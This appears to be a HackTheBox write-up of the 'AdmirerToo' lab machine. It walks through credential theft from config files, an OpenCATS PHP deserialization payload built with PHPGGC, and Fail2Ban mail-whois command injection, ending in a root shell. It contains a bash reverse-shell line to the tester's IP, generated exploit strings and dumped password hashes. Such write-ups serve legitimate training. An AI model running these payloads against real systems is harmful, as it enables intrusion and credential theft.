opentsdb@admirertoo:/opt/opencats$ ls
ajax constants.php issue_template.md rebuild_old_docs.php
ajax.php db js rss
attachments docker lib scripts
careers Error.tpl LICENSE.md src
careersPage.css ie.css main.css temp
CHANGELOG.MD images modules test
ci index.php not-ie.css upload
composer.json INSTALL_BLOCK optional-updates vendor
composer.lock installtest.php QueueCLI.php wsdl
config.php installwizard.php README.md xml

OpenCATS is a completely free open source ATS. Designed for recruiters, OpenCATS provides basic ATS services such as candidate tracking, resume parsing, and job requisition and posting.

OpenCats is probably running on the machine and from it’s configuration file we got database credentials. Let’s login into DB and look for any passwords.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
opentsdb@admirertoo:/opt/opencats$ mysql -D cats_dev -u cats -padm1r3r0fc4ts
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 101
Server version: 10.3.31-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [cats_dev]> select password,user_name,user_id from user\G
*************************** 1. row ***************************
password: dfa2a420a4e48de6fe481c90e295fe97
user_name: admin
user_id: 1
*************************** 2. row ***************************
password: cantlogin
user_name: cats@rootadmin
user_id: 1250
*************************** 3. row ***************************
password: f59f297aa82171cc860d76c390ce7f3e
user_name: jennifer
user_id: 1251
3 rows in set (0.001 sec)

We have user password, but they are stored in hashed format (MD5). I couldn’t able to crack the hashes. However, I found passwords in ‘admirer’ directory.

1
2
3
4
opentsdb@admirertoo:~$ grep -iRl 'password' /var/www/adminer/ 2>/dev/null
/var/www/adminer/plugins/oneclick-login.php
/var/www/adminer/plugins/plugin.php
/var/www/adminer/adminer-included-0ae90598f37b20e3e7eb122c427729ed.php

There are three files probably with saved passwords. But when I checked those files,those are not actual passwords. However, inside ‘plugins’ directory there’s another directory called ‘data’, it has another password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
opentsdb@admirertoo:/var/www/adminer/plugins/data$ cat servers.php
<?php
return [
'localhost' => array(
// 'username' => 'admirer',
// 'pass' => 'bQ3u7^AxzcB7qAsxE3',
// Read-only account for testing
'username' => 'admirer_ro',
'pass' => '1w4nn4b3adm1r3d2!',
'label' => 'MySQL',
'databases' => array(
'admirer' => 'Admirer DB',
)
),
];

This password has reused for ‘Jennifer’ user’s login. Let’s ssh and read the user flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
jennifer:bQ3u7^AxzcB7qAsxE3

┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# ssh jennifer@10.10.11.137
The authenticity of host '10.10.11.137 (10.10.11.137)' can't be established.
ED25519 key fingerprint is SHA256:6GHqCefcB0XKD8lrY40SKb5COmsxVdTiXV4NYplmxbY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.137' (ED25519) to the list of known hosts.
jennifer@10.10.11.137's password:
Permission denied, please try again.
jennifer@10.10.11.137's password:
Linux admirertoo 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Sun Jan 23 10:30:18 2022 from 10.10.14.10
jennifer@admirertoo:~$ id
uid=1002(jennifer) gid=100(users) groups=100(users)
jennifer@admirertoo:~$ whoami
jennifer
jennifer@admirertoo:~$ cat user.txt
44d517c8732f33ce2b12bed6e24b587f

Let’s find any active services running on the machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
jennifer@admirertoo:~$ systemctl list-units --type=service
UNIT LOAD ACTIVE SUB DESCRIPTION
apache2.service loaded active running The Apache HTTP Server
apache2@opencats.service loaded active running The Apache HTTP Server
apparmor.service loaded active exited Load AppArmor profiles
console-setup.service loaded active exited Set console font and keymap
cron.service loaded active running Regular background program processing daemon
dbus.service loaded active running D-Bus System Message Bus
fail2ban.service loaded active running Fail2Ban Service
getty@tty1.service loaded active running Getty on tty1
hbase.service loaded active running HBase
ifup@eth0.service loaded active exited ifup for eth0
ifupdown-pre.service loaded active exited Helper to synchronize boot up for ifupdown
keyboard-setup.service loaded active exited Set the console keyboard layout
kmod-static-nodes.service loaded active exited Create list of required static device nodes for the current kernel
mariadb.service loaded active running MariaDB 10.3.31 database server
networking.service loaded active exited Raise network interfaces
nftables.service loaded active exited nftables
open-vm-tools.service loaded active running Service for virtual machines hosted on VMware
opentsdb.service loaded active running LSB: Starts OpenTSDB TSD
php7.3-fpm.service loaded active running The PHP 7.3 FastCGI Process Manager
rsyslog.service loaded active running System Logging Service
ssh.service loaded active running OpenBSD Secure Shell server
systemd-journal-flush.service loaded active exited Flush Journal to Persistent Storage
systemd-journald.service loaded active running Journal Service
systemd-logind.service loaded active running Login Service
systemd-modules-load.service loaded active exited Load Kernel Modules
systemd-random-seed.service loaded active exited Load/Save Random Seed
systemd-remount-fs.service loaded active exited Remount Root and Kernel File Systems
systemd-sysctl.service loaded active exited Apply Kernel Variables
systemd-sysusers.service loaded active exited Create System Users
systemd-timesyncd.service loaded active running Network Time Synchronization
systemd-tmpfiles-setup-dev.service loaded active exited Create Static Device Nodes in /dev
systemd-tmpfiles-setup.service loaded active exited Create Volatile Files and Directories
systemd-udev-trigger.service loaded active exited udev Coldplug all Devices
systemd-udevd.service loaded active running udev Kernel Device Manager
systemd-update-utmp.service loaded active exited Update UTMP about System Boot/Shutdown
systemd-user-sessions.service loaded active exited Permit User Sessions
user-runtime-dir@1002.service loaded active exited User Runtime Directory /run/user/1002
user@1002.service loaded active running User Manager for UID 1002
vgauth.service loaded active running Authentication service for virtual machines hosted on VMware

LOAD = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB = The low-level unit activation state, values depend on unit type.

39 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.

Two services are suspicious, OpenCats and Fail2Ban. We have found the OpenCats directory previously. OpenCats is running on port 8080.

1
2
3
4
5
6
7
8
jennifer@admirertoo:~$ curl localhost:8080 | grep opencats
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3665 100 3665 0 0 325k 0 --:--:-- --:--:-- --:--:-- 357k
<title>opencats - Login</title>
<span id="mainLogo">opencats</span><br />
<span style="font-size: 12px;"><a href="http://forums.opencats.org ">opencats support forum</a></span>
Based upon original work and Powered by <a href="http://www.opencats.org" target="_blank">OpenCATS</a>.</div>

Let’s check Fail2Ban version.

1
2
jennifer@admirertoo:~$ fail2ban-server -V
Fail2Ban v0.10.2

It has a vulnerability in mailing action.

  • Possible RCE vulnerability in mailing action using mailutils (mail-whois)

First look into Opencats. Let’s forward that port via SSH or however you like. I am forwarding that port to my machine on port 9000. Let’s visit the site.

1
ssh -L 9000:127.0.0.1:8080 jennifer@10.10.11.137

The homepage gives us the version information, that is 0.9.5.2.

  • CVE-2021-25294

OpenCATS through 0.9.5-3 unsafely deserializes index.php?m=activity requests,leading to remote code execution. This occurs because lib/DataGrid.php calls unserialize for the parametersactivity:ActivityDataGrid parameter. The PHP object injection exploit chain can leverage an __destruct magic method in guzzlehttp.

For this we need to authenticate first, I couldn’t crack the admin password.

1
2
3
4
5
MariaDB [cats_dev]> select user_name,password,user_id from user\G
*************************** 1. row ***************************
user_name: admin
password: f59f297aa82171cc860d76c390ce7f3e
user_id: 1

However, we have access to it’s database, we can update the row of admin with our own password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
482c811da5d5b4bc6d497ffa98491e38:password123

MariaDB [cats_dev]> update user set password = '482c811da5d5b4bc6d497ffa98491e38' where user_id = 1;
Query OK, 1 row affected (0.001 sec)
Rows matched: 1 Changed: 1 Warnings: 0

MariaDB [cats_dev]> select password,user_name,user_id from user\G
*************************** 1. row ***************************
password: 482c811da5d5b4bc6d497ffa98491e38
user_name: admin
user_id: 1
*************************** 2. row ***************************
password: cantlogin
user_name: cats@rootadmin
user_id: 1250
*************************** 3. row ***************************
password: f59f297aa82171cc860d76c390ce7f3e
user_name: jennifer
user_id: 1251
3 rows in set (0.001 sec)

Make sure to convert you desired password to MD5 hash. Once you update, you can login with the password.

We have access to admin dashboard. This below blog has explained how this attack works.

  • OpenCATS PHP Object Injection to Arbitrary File Write

For this to work we need to switch to activities tab and click on ‘date’ and intercept the request in Burp Suite.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /index.php?m=activity&parametersactivity%3AActivityDataGrid=a%3A8%3A%7Bs%3A10%3A%22rangeStart%22%3Bi%3A0%3Bs%3A10%3A%22maxResults%22%3Bi%3A15%3Bs%3A13%3A%22filterVisible%22%3Bb%3A0%3Bs%3A9%3A%22startDate%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22endDate%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22period%22%3Bs%3A37%3A%22DATE_SUB%28CURDATE%28%29%2C+INTERVAL+1+MONTH%29%22%3Bs%3A6%3A%22sortBy%22%3Bs%3A15%3A%22dateCreatedSort%22%3Bs%3A13%3A%22sortDirection%22%3Bs%3A3%3A%22ASC%22%3B%7D HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:9000/index.php?m=activity
Cookie: CATS=95dvh0oeepi123t462f8l9ogjn
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

According to the blog, activity parameter is vulnerable. So, we need to generate serialized exploit using PHPGGC and replace it with default one.

  • PHPGGC: PHP Generic Gadget Chains

We don’t know where to upload the php webshell and which users permission will be applicable. So I tried to upload it on /dev/shm directory to find file perms.

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/test.txt /root/hackthebox/machine/admiretoo/test.txt
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A17%3A%22%2Fdev%2Fshm%2Ftest.txt%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A20%3A%22this+is+just+a+test%21%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D

This is just a test file which will be dumped into ‘/dev/shm’ directory with user privileges.

As you can see the response is ‘HTTP 200 OK’, so It was successful. Let’s check the file permission.

1
2
3
4
5
6
7
jennifer@admirertoo:/dev/shm$ ls -la
total 4
drwxrwxrwt 2 root root 60 Jan 23 11:28 .
drwxr-xr-x 16 root root 3080 Jan 23 09:59 ..
-rw-r--r-- 1 devel devel 62 Jan 23 11:28 test.txt
jennifer@admirertoo:/dev/shm$ cat test.txt
[{"Expires":1,"Discard":false,"Value":"this is just a test!"}]

So, it’s not root who’s permission is being used to run OpenCat’s. It’s ‘devel’.

1
2
jennifer@admirertoo:/dev/shm$ grep 'devel' /etc/passwd
devel:x:1003:1003::/home/devel:/sbin/nologin

This user don’t have any shell access, that’s the reason we didn’t get this when we ran which account has shell access. Let’s look into locations ‘devel’ has access to.

1
2
3
4
5
jennifer@admirertoo:/dev/shm$ find / -group devel 2>/dev/null
/dev/shm/test.txt
/opt/opencats/INSTALL_BLOCK
/usr/local/src
/usr/local/etc

Two directories and one file. So, there’s no way we can get a reverse shell. So, let’s turn to Fail2Ban exploit.

  • Possible RCE vulnerability in mailing action using mailutils (mail-whois)

According to this blog we can get code execution if we edit the /etc/hosts file and point to my own IP address. However, we don’t have permission to edit the hosts file, only root can edit it.

1
2
jennifer@admirertoo:/dev/shm$ ls -la /etc/hosts
-rw-r--r-- 1 root root 205 Jul 7 2021 /etc/hosts

But, we can put a whois configuration file in ‘/usr/local/etc’ directory and when we execute whois command it takes configuration file for processing.

1
2
3
4
5
6
7
8
9
jennifer@admirertoo:/dev/shm$ cat /etc/fail2ban/jail.local
[DEFAULT]
ignoreip = 127.0.0.1
bantime = 60s
destemail = root@admirertoo.htb
sender = fail2ban@admirertoo.htb
sendername = Fail2ban
mta = mail
action = %(action_mwl)s

This is the default configuration of jail (fail2ban), if any IP is banned then it sends an email to specified address.

1
2
3
jennifer@admirertoo:/dev/shm$ cat /etc/fail2ban/jail.d/defaults-debian.conf
[sshd]
enabled = true

It is enabled on SSH service. Let’s create whois.conf file on Kali machine first. Whois config file has to be in RegEx format, if not then it’d give you error like below.

1
2
3
jennifer@admirertoo:~$ whois 10.10.x.x
Invalid regular expression '[{"Expires":1,"Discard":false,"Value":".*': Unmatched [,
[^, [:, [., or [=
  • whois

Below is the default format of uploaded file using OpenCats vulnerability.

1
2
jennifer@admirertoo:~$ cat /dev/shm/hello.txt
[{"Expires":1,"Discard":false,"Value":"hello\n"}]

As you can see, my actual data is ‘hello’, but it also adds other data, which is part of the GuzzleHTTP Cookie. So to make a working config file with that, we need to use ‘vertical bar’ and ‘Dot’ of RegEx, just like below.

Vertical Bar: OR operator. Search for a match to the regular expression on either side of the vertical bar. Dot: Matches any single character.

1
[{"Expires":1,"Discard":false,"Value":"}]|. [10.10.x.x]\n"}]

But as we have already seen in hello.txt result, it has already appended the Guzzle data, so we need to create a file without that on your kali machine.

Step 1

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# cat demo.conf
}]|. [10.10.14.8]

When we give this file to PHPGGC to serialize, it add the initial part and end part to it. Let’s serialize the configuration file.

Step 2

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf /root/hackthebox/machine/admiretoo/demo.conf
a%3A2%3A%7Bi%3A7%3BO%3A31%3A%22GuzzleHttp%5CCookie%5CFileCookieJar%22%3A4%3A%7Bs%3A41%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00filename%22%3Bs%3A25%3A%22%2Fusr%2Flocal%2Fetc%2Fwhois.conf%22%3Bs%3A52%3A%22%00GuzzleHttp%5CCookie%5CFileCookieJar%00storeSessionCookies%22%3Bb%3A1%3Bs%3A36%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00cookies%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A27%3A%22GuzzleHttp%5CCookie%5CSetCookie%22%3A1%3A%7Bs%3A33%3A%22%00GuzzleHttp%5CCookie%5CSetCookie%00data%22%3Ba%3A3%3A%7Bs%3A7%3A%22Expires%22%3Bi%3A1%3Bs%3A7%3A%22Discard%22%3Bb%3A0%3Bs%3A5%3A%22Value%22%3Bs%3A17%3A%22%7D%5D%7C.+%5B10.10.14.8%5D%22%3B%7D%7D%7Ds%3A39%3A%22%00GuzzleHttp%5CCookie%5CCookieJar%00strictMode%22%3BN%3B%7Di%3A7%3Bi%3A7%3B%7D

Now before we pass this to OpenCats, we need to create our reverse shell payload on Kali Linux

Step 3

1
2
3
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# cat rshell
~| bash -c "bash -i >& /dev/tcp/10.10.14.8/9001 0>&1" &

The ‘~|’ escape pipes the message composed so far through the given shell command and replaces the message with the output the command produced. If the command produced no output, mail assumes that something went wrong and retains the old contents of your message.

Step 4

1
2
3
4
5
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# nc -nvlkp 43 -c "cat rshell"
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::43
Ncat: Listening on 0.0.0.0:43
  • Listening on Port 43. This port is reserved for ‘whois protocol’

  • Using ‘-c’ switch to run shell commands after successful connection and providing our payload to run it

If you are wondering why we are using port 43, it’s because when we execute whois command from target machine to our IP address, it use port 43 to connect our IP address and if our IP doesn’t have that port open then it fails. See this below example of whois query.

Above is the whois query to google server. As you can see, my machine sends an initial syn packet to whois server IP on port 43 TCP.

So, the idea basically is we are redirecting whois request to our Kali Linux machine (IP) rather than actual whois server and when we get hit on our whois port, we run shell commands to exploit the Fail2Ban vulnerability.

Step 5

1
2
3
4
5
┌──(root💀kali)-[~]
└─# nc -lvnp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001

Setup a netcat listener for actual reverse shell. Now we are almost ready.

Step 6

Now we need to pass the serialized cookie via Burp Suite, just like we did previously.

Step 7

Check the dumped file from target machine.

1
2
jennifer@admirertoo:/dev/shm$ cat /usr/local/etc/whois.conf
[{"Expires":1,"Discard":false,"Value":"}]|. [10.10.14.8]"}]

We got the config file on target. This config file gets removed after every five minutes.

Step 8

Run whois from target machine.

1
2
jennifer@admirertoo:/dev/shm$ whois 10.10.14.8
~| bash -c "bash -i >& /dev/tcp/10.10.14.8/9001 0>&1" &

Make sure to use your own IP address. After executing that we got a hit on port 43 netcat listener.

1
2
3
4
5
6
7
8
9
10
11
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# nc -nvlkp 43 -c "cat rshell"
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::43
Ncat: Listening on 0.0.0.0:43
Ncat: Connection from 10.10.11.137.
Ncat: Connection from 10.10.11.137:40126.
Ncat: Connection from 10.10.11.137.
Ncat: Connection from 10.10.11.137:40130.
Ncat: Connection from 10.10.11.137.
Ncat: Connection from 10.10.11.137:40132.

At this moment our payload is already delivered to target machine, now we need to trigger Fail2Ban application via failed SSH attempts.

Step 9

1
2
3
4
5
6
7
8
┌──(root💀kali)-[~/hackthebox/machine/admiretoo]
└─# ssh root@10.10.11.137 255 ⨯
root@10.10.11.137's password:
Permission denied, please try again.
root@10.10.11.137's password:
Permission denied, please try again.
root@10.10.11.137's password:
Connection closed by 10.10.11.137 port 22

just enter 3 wrong password is fine… you will get a reverse connection on Netcat listener.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root💀kali)-[~]
└─# nc -lvnp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.137.
Ncat: Connection from 10.10.11.137:42756.
bash: cannot set terminal process group (3043): Inappropriate ioctl for device
bash: no job control in this shell
root@admirertoo:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@admirertoo:/# whoami
whoami
root
root@admirertoo:/# cat /root/root.txt
cat /root/root.txt
de978ef00fa5fd259349809129068f70
root@admirertoo:/# cat /etc/shadow | grep root
cat /etc/shadow | grep root
root:$6$eP5MVyB1lXtVQgzU$H4xJdGiHfSu9JmUR80juqHC5BAca79yir2Z6bipW8s.DowTuNRo82/CjN7EMBK8lczD1AMYxgKTIp79DjN2R31:18817:0:99999:7:::

Make sure to get root flag or whatever as quick as possible, the shell is unstable and it gets disconnected.

Summary of knowledge

  • vhost fuzz with ffuf
  • SSRF redirect in adminer (CVE-2021-21311)
  • OpenTSDB 2.4.0 Remote Code Execution (CVE-2020-35476)
  • password reused
  • Possible RCE vulnerability in mailing action using mailutils(mail-whois)(CVE-2021-25294)
  • OpenCATS PHP Object Injection to Arbitrary File Write
  • PHPGGC: PHP Generic Gadget Chains generate exploits
  • privesc through Modify the /usr/local/etc/whois.conf and whois command

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…